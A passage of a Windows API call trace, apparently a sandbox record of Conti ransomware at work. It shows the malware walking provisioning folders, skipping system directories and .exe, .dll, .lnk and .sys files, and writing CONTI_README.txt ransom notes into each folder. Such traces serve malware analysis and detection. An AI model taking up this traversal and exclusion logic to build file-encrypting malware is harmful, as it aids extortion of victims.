	[0106.127] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 0
	[0106.127] GetProcessHeap () returned 0x1720000
	[0106.127] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65111a8 | out: hHeap=0x1720000) returned 1
	[0106.127] FindClose (in: hFindFile=0x17c8230 | out: hFindFile=0x17c8230) returned 1
	[0106.127] GetProcessHeap () returned 0x1720000
	[0106.127] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0106.127] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 0
	[0106.127] GetProcessHeap () returned 0x1720000
	[0106.127] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f3e0 | out: hHeap=0x1720000) returned 1
	[0106.127] FindClose (in: hFindFile=0x17c8430 | out: hFindFile=0x17c8430) returned 1
	[0106.127] GetProcessHeap () returned 0x1720000
	[0106.127] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f290 | out: hHeap=0x1720000) returned 1
	[0106.127] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="{1e05dd5d-a022-46c5-963c-b20de341170f}", cAlternateFileName="{1E05D~1")) returned 1
	[0106.127] lstrcmpiW (lpString1="{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2=".") returned 1
	[0106.127] lstrcmpiW (lpString1="{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="..") returned 1
	[0106.127] lstrcmpiW (lpString1="{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="tmp") returned -1
	[0106.127] lstrcmpiW (lpString1="{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="winnt") returned -1
	[0106.127] lstrcmpiW (lpString1="{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="Application Data") returned -1
	[0106.127] lstrcmpiW (lpString1="{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="AppData") returned -1
	[0106.127] lstrcmpiW (lpString1="{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="temp") returned -1
	[0106.127] lstrcmpiW (lpString1="{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="thumb") returned -1
	[0106.127] lstrcmpiW (lpString1="{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="$Recycle.Bin") returned 1
	[0106.127] lstrcmpiW (lpString1="{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="$RECYCLE.BIN") returned 1
	[0106.127] lstrcmpiW (lpString1="{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="System Volume Information") returned -1
	[0106.127] lstrcmpiW (lpString1="{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="Program Files") returned -1
	[0106.127] lstrcmpiW (lpString1="{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="Program Files (x86)") returned -1
	[0106.127] lstrcmpiW (lpString1="{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="Boot") returned -1
	[0106.127] lstrcmpiW (lpString1="{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="Windows") returned -1
	[0106.127] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0106.127] lstrlenW (lpString="{1e05dd5d-a022-46c5-963c-b20de341170f}") returned 38
	[0106.127] GetProcessHeap () returned 0x1720000
	[0106.127] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9a) returned 0x173f3e0
	[0106.128] lstrcpyW (in: lpString1=0x173f3e0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0106.128] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\"
	[0106.128] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\", lpString2="{1e05dd5d-a022-46c5-963c-b20de341170f}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}"
	[0106.128] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned 76
	[0106.128] GetProcessHeap () returned 0x1720000
	[0106.128] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9e) returned 0x173e768
	[0106.128] lstrcpyW (in: lpString1=0x173e768, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}"
	[0106.128] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*"
	[0106.128] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned 76
	[0106.128] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.128] GetProcessHeap () returned 0x1720000
	[0106.128] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x17cb698
	[0106.128] lstrcpyW (in: lpString1=0x17cb698, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}"
	[0106.128] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\"
	[0106.128] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\CONTI_README.txt"
	[0106.128] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.376] GetProcessHeap () returned 0x1720000
	[0106.376] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb698 | out: hHeap=0x1720000) returned 1
	[0106.376] WriteFile (in: hFile=0x3a8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.377] CloseHandle (hObject=0x3a8) returned 1
	[0106.377] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x533fbbc1, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c83b0
	[0106.380] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.380] FindNextFileW (in: hFindFile=0x17c83b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x533fbbc1, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.380] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.380] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.380] FindNextFileW (in: hFindFile=0x17c83b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x533fbbc1, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x533fbbc1, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x533fbbc1, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.380] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.380] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.380] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.380] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.380] FindNextFileW (in: hFindFile=0x17c83b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ebc18d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="customizations.xml", cAlternateFileName="")) returned 1
	[0106.380] lstrcmpiW (lpString1="customizations.xml", lpString2=".") returned 1
	[0106.380] lstrcmpiW (lpString1="customizations.xml", lpString2="..") returned 1
	[0106.380] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.380] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.380] StrStrIW (lpFirst="customizations.xml", lpSrch=".exe") returned 0x0
	[0106.380] StrStrIW (lpFirst="customizations.xml", lpSrch=".dll") returned 0x0
	[0106.380] StrStrIW (lpFirst="customizations.xml", lpSrch=".lnk") returned 0x0
	[0106.380] StrStrIW (lpFirst="customizations.xml", lpSrch=".sys") returned 0x0
	[0106.381] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.381] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.381] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned 76
	[0106.381] lstrlenW (lpString="customizations.xml") returned 18
	[0106.381] GetProcessHeap () returned 0x1720000
	[0106.381] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc0) returned 0x17cc188
	[0106.381] lstrcpyW (in: lpString1=0x17cc188, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}"
	[0106.381] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\"
	[0106.381] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\", lpString2="customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml"
	[0106.381] FindNextFileW (in: hFindFile=0x17c83b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ebc18d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1
	[0106.381] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2=".") returned 1
	[0106.381] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2="..") returned 1
	[0106.381] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.381] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.381] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".exe") returned 0x0
	[0106.381] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".dll") returned 0x0
	[0106.381] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".lnk") returned 0x0
	[0106.381] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".sys") returned 0x0
	[0106.381] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.381] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.381] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned 76
	[0106.381] lstrlenW (lpString="MasterDatastore.xml") returned 19
	[0106.381] GetProcessHeap () returned 0x1720000
	[0106.381] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181cc88
	[0106.381] lstrcpyW (in: lpString1=0x181cc88, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}"
	[0106.381] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\"
	[0106.381] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\", lpString2="MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml"
	[0106.381] FindNextFileW (in: hFindFile=0x17c83b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 1
	[0106.381] lstrcmpiW (lpString1="Prov", lpString2=".") returned 1
	[0106.381] lstrcmpiW (lpString1="Prov", lpString2="..") returned 1
	[0106.381] lstrcmpiW (lpString1="Prov", lpString2="tmp") returned -1
	[0106.381] lstrcmpiW (lpString1="Prov", lpString2="winnt") returned -1
	[0106.382] lstrcmpiW (lpString1="Prov", lpString2="Application Data") returned 1
	[0106.382] lstrcmpiW (lpString1="Prov", lpString2="AppData") returned 1
	[0106.382] lstrcmpiW (lpString1="Prov", lpString2="temp") returned -1
	[0106.382] lstrcmpiW (lpString1="Prov", lpString2="thumb") returned -1
	[0106.382] lstrcmpiW (lpString1="Prov", lpString2="$Recycle.Bin") returned 1
	[0106.382] lstrcmpiW (lpString1="Prov", lpString2="$RECYCLE.BIN") returned 1
	[0106.382] lstrcmpiW (lpString1="Prov", lpString2="System Volume Information") returned -1
	[0106.382] lstrcmpiW (lpString1="Prov", lpString2="Program Files") returned 1
	[0106.382] lstrcmpiW (lpString1="Prov", lpString2="Program Files (x86)") returned 1
	[0106.382] lstrcmpiW (lpString1="Prov", lpString2="Boot") returned 1
	[0106.382] lstrcmpiW (lpString1="Prov", lpString2="Windows") returned -1
	[0106.382] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned 76
	[0106.382] lstrlenW (lpString="Prov") returned 4
	[0106.382] GetProcessHeap () returned 0x1720000
	[0106.382] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732cc0
	[0106.382] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}"
	[0106.382] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\"
	[0106.382] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\", lpString2="Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov"
	[0106.382] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov") returned 81
	[0106.382] GetProcessHeap () returned 0x1720000
	[0106.382] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x65108b8
	[0106.382] lstrcpyW (in: lpString1=0x65108b8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov"
	[0106.382] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\*"
	[0106.382] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov") returned 81
	[0106.382] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.382] GetProcessHeap () returned 0x1720000
	[0106.382] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181d578
	[0106.382] lstrcpyW (in: lpString1=0x181d578, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov"
	[0106.382] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\"
	[0106.382] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\CONTI_README.txt"
	[0106.382] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0106.389] GetProcessHeap () returned 0x1720000
	[0106.389] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d578 | out: hHeap=0x1720000) returned 1
	[0106.389] WriteFile (in: hFile=0x398, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0106.389] CloseHandle (hObject=0x398) returned 1
	[0106.389] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53421cc0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c85f0
	[0106.390] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.390] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53421cc0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.390] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.390] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.390] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53421cc0, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53421cc0, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53421cc0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.390] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.390] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.390] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.390] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.390] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime", cAlternateFileName="")) returned 1
	[0106.390] lstrcmpiW (lpString1="RunTime", lpString2=".") returned 1
	[0106.390] lstrcmpiW (lpString1="RunTime", lpString2="..") returned 1
	[0106.390] lstrcmpiW (lpString1="RunTime", lpString2="tmp") returned -1
